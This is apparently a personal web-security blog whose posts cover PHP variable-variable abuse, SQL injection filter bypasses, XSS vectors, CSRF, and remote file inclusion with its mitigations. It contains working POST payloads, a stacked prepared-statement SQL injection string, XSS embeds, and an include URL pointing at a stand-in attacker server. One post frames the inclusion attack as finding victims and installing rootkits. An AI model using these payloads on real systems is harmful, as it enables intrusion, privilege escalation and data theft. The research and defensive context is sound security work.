nd
Subscribe to the RSS feed

Vulnerabilities

Entries feed - Comments feed

Tuesday, September 20 2011

PHP, variable variables, oh my!

I was just looking at some PHP code for one of our clients, and found a case I haven't seen many times before. I thought I should share it here.

The code I was looking at looks like this:

<?php

// Init the PHP array with some SQL code to start the query
$declareSQLArray = InitializedArray('stuff');

// Use a strong enough validation routine for do the input
// validation of POST variables
while(list($name, $value) = each($_POST)) {
        if(!is_array($value))   
                $$name = StrongValidation($value);
        else
                $$name = $value;
}

// Do something with my variables and always do a proper
// validation when I use the data

// Eventually, build my SQL command, and send this to the DB
$sql_command = join(' ', $declareSQLArray);
mysql_query($sql_command);

?>

The code, even if horribly constructed, does not seem to show important weaknesses, but the usual case of submitting a POST variable as an array, and bypassing the StrongValidation. Then, in that case, it would have failed every other validation routines in the code.

Even if experienced with PHP, you might not have encountered variable variables before. In short, this allows to dynamically declare named variables. Here is a simple example:

hubert:~ Romain$ php -r '$name="foo"; $$name="Hello World!\n"; echo $foo;'
Hello World!

Here, the variable $foo gets declared, and assigned using PHP's variable variables capabilities.

Getting back to our code example, I'm sure the reader will spot the issue, and what an attacker can do to exploit such scenario to trigger, in that case, a SQL injection. Since the variable $declareSQLArray is defined and initialized before the POST variables lookup, it is possible to reassign it using the variable variables. In that case, no validation is performed when we submit an array, and this is exactly what we want to do!

To exploit the SQL injection, you only need to submit POST variables to overwrite the $declareSQLArray, and add the content that we want in it!

POST /code_example.php HTTP/1.1
Host: example.com
...

declareSQLArray%5B%5D=SELECT...;&declareSQLArray%5B%5D=--&whatever...

Job done! The resulting SQL query will start with the payload that was submitted as part of $declareSQLArray. You've got your SQL injection.


Update: While driving back home, I was wondering if I could overwrite values from the SESSION using this technique. A couple of lines of code, and POST request after the answer is short: YES.

Imagine that you have an isadmin variable as part of the session (which is an associative array). This variable would be set in a code like this:

if ($user->isNotAdmin())
        $_SESSION['isadmin'] = 0;
else
        $_SESSION['isadmin'] = 1;

Exploiting the previous weakness of the code example, we are able to overwrite the $_SESSION['isadmin'] content, only by supplying what will be interpreted as an associative array by PHP:

POST /code_example.php HTTP/1.1
Host: example.com
...

_SESSION%5Bisadmin%5D=1&whatever...

I'm sure you're thinking, as I do, that this is getting more interesting!

Anyways, this issue is not new at all, it is known as Dynamic Variable Evaluation (thanks to Steve Christey).

The interesting part of it is that DAST won't be able to detect it (or maybe if you are lucky enough), and it is very hard for a SAST to deal with it (actually, I doubt any SAST vendor who supports PHP handles this case, but it's not impossible since they have all they need to solve the problem).

Update 2: Based on the comments, I did some testing and observed that even if we can overwrite data from the session, this data does not get persisted in the session. This means that you can still control a value from a super global for the remaining execution of the script, but cannot persist the data.

Wednesday, July 13 2011

Dissection of a SQL injection challenge

As part of the SQL injection challenges that I developed (focusing on MySQL), one of the classic challenges (we have the same types for XSS), is a simple, yet disturbing for juniors, black-list and few controls such as partial output encoding.

In the case of SQLi, I decided to blacklist the following keywords (as seen during an assessment): select, union, drop, delete, insert, and, or, where, update, if, not

On top of this, I use the mysqli function that properly escapes strings (mysqli_real_escape_string), and I remove all white-spaces.

The SQL commands is using a multiple queries aware driver (i.e., you can stack queries), and the injection context is fairly simple and we have something like this: SELECT username FROM users WHERE userid=<<HERE>>

Since this is an * exploitation* challenge, the goal is to extract the password of a given user from this database.

Now, every time that I write a challenge, I first come up with the application and I need to break it after to make sure that there is a solution (unless the challenge is derived from what I found already in some of my previous assessments).

Anyway, here my main personal challenge was to come up with a query that would retrieve the proper data without using one of the black-listed keywords. Spaces and quotes are easy not to care about simply by using /**/ as a word separator, and we can use the hexadecimal representation of strings so that we make sure not to use single-quotes & co. Here is a quick summary with 2 similar queries:

  • Spaces bypass: select/**/foobar/**/FROM/**/table/**/WHERE/**/user='c3';
  • Single quotes: select foobar FROM table WHERE user=0x6333;

The way I found to solve this challenge is to use MySQL prepared statements. However, I was fairly disturbed at first since I cannot use the following syntax in MySQL:

PREPARE st FROM 0x73656c656374202a2066726f6d207573657273;
EXECUTE st;
DEALLOCATE PREPARE st;

where 0x73656c656374202a2066726f6d207573657273 contains the query to get everything from the users' table (i.e., select * from users). The syntax of the PREPARE keyword is not flexible like any other string manipulation in MySQL, and does not allow strings with their hexadecimal representation.

The gotcha here (I wouldn't call this a trick) is to use a temporary variable assignment, and use this variable in the PREPARE construct. The final construct I used is the following:

SET @v=0x73656c656374202a2066726f6d207573657273;
PREPARE st FROM @v;
EXECUTE st;
DEALLOCATE PREPARE st;

Now, putting the pieces together, and adding this into the our original query, we get a payload similar like this:

9999||username=0xdeadbeef;SET/**/@s=0x73656c656374202a2066726f6d207573657273;PREPARE/**/ss/**/FROM/**/@s;EXECUTE/**/ss;DEALLOCATE/**/PREPARE/**/ss;#

This construct is very similar to the solution of the challenge, but not exactly the same since we need to use the application to display the data. Therefore, in that case we need to make sure that the prepared statement will return only one column, etc.

Anyway, I wanted to share this since I haven't come across many references that talked about using prepared statements as SQL injection payloads...

Tuesday, December 9 2008

Every-day's CSRF: Sorry, I turned off your christmas tree lights

Today, a friend of mine was really proud to show me the Home Automation installation he just bought. Well, since he lives in France and I am in DC, he showed me the web interface that was able to control the lights etc. in his house. As he wanted to test this domotic system, he only plugged his Christmas tree lights on the system.

Well, maybe I'm only seeing bad stuff around me, but... Déformation professionnelle we'll say! It was so easy to make it blinking with a simple script that I showed it to him. So well, every 5 seconds, it would change the state.

Anyway, this CSRF is not a big deal for him since it's only the Christmas tree lights, it's only a temporary installation and well, it's fun. But after a simple google search, I found another site like my friend's. The URL that Google return is:

http://XXX.XXX.XXX.XXX:88/control_exe.htm;3;1;ON

Which is basically turning on some device... :)

Also, not only this application has tons of CSRF, but also a nice stored XSS which let you do whatever you want with it! And btw, since the Google Robot reported this, it means that every time that it crawls the website (or at least, reaches that particular URL), it will set the device ON :)

Web security enters your house, f34rs!

Tuesday, September 4 2007

Source Code Obfuscation

Source Code Obfuscation is actually a powerful tool for testers. Whether you use it to obfuscate your bytecode (Java, .NET etc.) or increasing the code complexity of your current source code.

Working at SAMATE we are also playing, tweaking, testing, stressing source code analyzers. And now you see the relation. I'm writing a source code obfuscater in order to increase the complexity of our test cases and see if the tools are still doing well.

Thus, I was able (with good documentation, and yaxx) to create one. It currently only add control flow complexity (and of course renaming classes, functions and variables).

Some words on obfuscation

You may have heard about obfuscation in a sense of making the code unreadable for users. This is not what I'm interested in. I want to modify the actually source code, adding some information in it, some tests... I need the outputs of the original program and the obfuscated one to be the same, otherwise we cannot consider the source code as being equivalent.

So for example if I do:

if (var == 0) { 
  echo 0;
}

I will have the same behavior with this source code:

x = some_value;
if (var == 0 or x*x < 0) {
  echo 0;
}

Even though they have the same output, the second one is more complicated since it adds one other test.

Test case wise example

To see what it exactly does given this original source code

<?php
	$b = 0;
	$c = "Salut";
	$len = strlen($c);

	function fct($a) {
		return $a . "_1\n";
	}
	
	class T {
		function foo() {
			echo "test\n";
		}
	}
	echo fct(0);
	echo T::foo();
?>

...and by choosing one of my control flow obfuscating pattern

<?php
	class rand_class_name {
		function rand_func_name_2($rand_name_1) {
			return $rand_name_1 + 1;
		}
	}

	function rand_func_name_1($rand_name_2) {
		return $rand_name_2 + 1;
	}
	
	if (rand_func_name_1(0) > 0 && rand_class_name::rand_func_name_2(0)) {
		$enter_the_new_statement;
	}
?>

To have this result:

<?php
	function HXvE5Plwxp0RSoQM ( $ZMfP98Az96Rq67j6 ) {
		return $ZMfP98Az96Rq67j6 + 1 ;
	}
	class TF03COvMuzXRQcCK {
		function Ltghf3a0McCI8RaZ ( $V309os5vQo15ak9b ) {
			return $V309os5vQo15ak9b + 1 ;
		}
	}
	$b = 0 ;
	$c = "Salut" ;
	$len = strlen ( $c ) ;
	function fct ( $a ) {
		return $a . "_1\n" ;
	}
	class T {
		function foo ( ) {
			echo "test\n" ;
		}
	}
	if ( HXvE5Plwxp0RSoQM ( 0 ) > 0 && TF03COvMuzXRQcCK :: Ltghf3a0McCI8RaZ ( 0 ) ) {
		echo fct ( 0 ) ;
	}
	if ( HXvE5Plwxp0RSoQM ( 0 ) > 0 && TF03COvMuzXRQcCK :: Ltghf3a0McCI8RaZ ( 0 ) ) {
		echo T :: foo ( ) ;
	}

?>

How it actually works

First of all, the engine only works on Abstract Syntax Tree (AST) in order to do powerful manipulation and code refactoring. The idea is to take a couple of transformation patterns (the second source code is in fact a complicated one), and fitting this patterns with the original source code.

The patterns are meta code. You can see that they are in PHP using some names such as $rand_name_1 etc. this means that the engine will generate one unique name for each of them and replace it before the actual refactoring.

Select what I want to obfuscate is not a real problem, but for now I only selected the top statements and will apply the whole modifications to each of them.

A little schema explaining a little how it works is available here: schema_obfuscation.png

What's next

The applied control flow obfuscating pattern is on of the many I do have for now (many more to come), and I guess this is kinda promising, lots of interesting studies should come now.

Currently the tools is only for PHP but I should make it general by using my own AST nodes names and then be able to do code transformation on C, C++, Java etc.

There is no release of the tool (written in C++) right now, I will wait until it's more than correct and clean. I also need to do data obfuscation (using indirections etc.). The program will of course be public and free for everybody when it's gonna be ready.

Wednesday, August 8 2007

Anti-CSRF and static pages

Protecting against Cross-Site Request Forgery (CSRF) is something that we tend to see everywhere now. What we usually see is a solution with a token in the form pdp described this a couple of months ago here: Preventing CSRF. Now, the problem is when you don't have dynamic pages, when you are stuck with static HTML pages but you can use JavaScript! Of course, the first reflex when you want to prevent CSRF is to use only POST variable when you send data, this make the attack a little harder.

I started thinking of this because I had this problem: I had static pages that are using Ajax to send data using POST. I talked with Stefano Di Paola about this (because my problem was not only CSRF, but also parameter tampering...). We both conclude on the following Ajax based solution:

  • XMLHTTPRequest a remote script which set a token into the HTTP header
  • Use JavaScript to get this token
  • Make your basic XMLHTTPRequest with the following token


So you need 3 files:

  • getheaders.php: Set the token into the header
  • ajax.js: Make the call and use the token technique
  • result.php: The classical target script

You can find the demo here: anti-csrf/index.html

Wednesday, April 11 2007

Web Application Security Statistics

The Web Application Security Consortium (WASC) released yesterday the WAS Stats. You can reach it here:
http://webappsec.org/projects/statistics/

The stats really looks like the CVE/NVD stats but looked more accurate because not based on report etc. but on assessments by companies such as Whitehatsec and data from SPI-Dynamics etc.

Friday, February 23 2007

CSS is amphetamine for your XSS Injection

Yesterday, on the #webappsec channel, heanol asked how to do an XSS Injection in a anchor tag <a> without the style="expression(..)" referenced by RSnake in the XSS Cheat Sheet.
Then, I proposed him to use the JavaScript event onmouseover="" attribute... Thinking about this it's not really good because the victim has to put his mouse over this link which can be very small etc.
My idea then is to use CSS to make this link taking all the page: this is pretty basic but powerful!

<a href="the link" onmouseover="alert('XSS');" 
style="position:absolute;top:0px;width:100000px;height:1000px;z-index:99999;" >Link</a>


I'll try to post some other CSS based interesting XSS injection...

Friday, February 16 2007

The return of the SVG XSS

Months ago, I talked about the SVG file and the possibility to include JavaScript inside. Yesterday, I read on the blog of Disenchant that this needed XML Injection: that's true.
But then, I started thinking about variants of this and an embedded SVG encoded with Base64 seems to work.

The injected string should be something like:

<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="  type="image/svg+xml" 
AllowScriptAccess="always" />


Edit:
You can also find it here now XSS Cheat Sheet.

Thursday, February 15 2007

OWASP Top Ten 2007

Definitely interesting stuffs:
http://www.owasp.org/index.php/Top_10_2007
This is a very good stuff for my current work at NIST on the specification for web app scanners...

Wednesday, January 3 2007

Nice catch: XSS in Acrobat PDF

I've just read it on Stefan Esser's blog: Stefano Di Palmo has disclose an XSS hole in the Acrobat PDF Documents. Just to have a look at this you can go here: PDF and XSS under Google!

This vulnerability is really important, be careful when you're opening a PDF file...

All of these vulnerabilities in rich documents (FLASH, MHTML, SVG, Quick Time Movie, PDF, etc.) look like there is a big lack of security when people are designing this. Of course these are amazing documents and very useful, but with the so called Web 2.0 (and maybe the next web 3.0 with video broadcasting and much more) there is more and more holes.

What can we do? Think twice before creating web services with media documents?
This is not productive enough and maybe a little security lack is not really bad.Do we care if a couple of guys can steal some passwords...

I guess lots of people are thinking like that, this is understandable but truly not the right way.

Thursday, November 9 2006

Blind SQL Injection

Two days ago I was working on my web apps scanner and I was thinking on a solution/proof that the given page is a result of a Blind SQL Injection.

I keep think about thiss... the solution I have for the moment is the comparaison of theses three results:

(1) nastyScript.php?param=
(2) nastyScript.php?param=A
(3) nastyScript.php?param=B
and
(4) nastyScript.php?param=A AND_SQL_INJECTION_CODE
(5) nastyScript.php?param=SQL_INJECTION_CODE

where:
A is one of the values parsed in the website
B is an out-of-range value (with the same type as a real value)

By the way, (1) & (3) should return a 404-like page or another default page. But if the script is vulnerable, the (4) can also return a kind of default page but (5) should return another page, different from the (1) a/o (3)...

Thursday, November 2 2006

Gatcha!

Because I don't really want to increase my IDS points (currently 15000) at NIST, I have to setup a website for doing my web apps scanners evaluation on a local network. It's pretty annoying because I could not test some tools such as AppScan or WebInspect since I only have the trial version.

Anyway, I try to make a website with a variable degree of security from the weakest to the more realistic one. I also use AJAX on limited parts to see how tools can handle this...

By the way, I will need to read lots of papers, forums, techniques about "how to avoid the vulnerability v"... I mean efficient techniques.

Monday, October 30 2006

Deja Vu

How proof of concepts are exciting ? Here is a Worm based on AJAX technology, imagine what it can do! So this worm use XSS to inject the worm-core source as JavaScript in a field (body, iframe etc.).

This kind of self-propagation application reminds me to make a web crawler, but only for the Reverse project. I really want to have a full database. I will start by scanning the lot of source I have on my computer, then the web...

Also, I need to make a script to generate/store nice and strong enough passwords. It will be provide in the Reverse project page.

Friday, October 27 2006

How to scan for basic php include injection / How to prevent this kind of injection ?

Here we go.

What you wanna do ?

You can do whatever you want once you have this access: installing a rootkit, looking at the db etc.

How to do that ?

Follow the next instructions...

First: Find the victim

Thanks to google code search, you can look for a basic php include with a get/post value. Mine the results until you find something interesting...

What the hell can I do to execute server side script ?

Basically, what you've found is:

<? ..
   include( $_GET['myFile'] );
?>

Just give the script what he wants: http://.../blah.php?myFile=http://bad.server.com/myScriptPHP.txt

What can I do if my website has such a vulnerability ?

The most easy for you is to add absolute path, such as:

<? ..
   include( '/home/foo/www/docs/' . $_GET['myFile'] );
?>

Then, to be sure that the file is okay, you only have to allow in-domain file opening, then:

<? ..
   $myFile = '/home/foo/www/docs/' . $_GET['myFile'];
   if (!file_exists($myFile))
      $myFile = '/home/foo/www/error/404.html';
   include( $myFile );
?>

Another way to do that is the next:

<? ..
   $myFile = htmlentities($_GET['myFile']);
   switch($myFile){
      case 'menu':
      case 'blog':
      case 'cv':
         break;
      default: $myFile = 'error'; break;
   }
   include( $myFile );
?>

First news

As usual, nothing here. There's no pain in your ass reading my fucking english ? Damned ;)

I <3 Bots!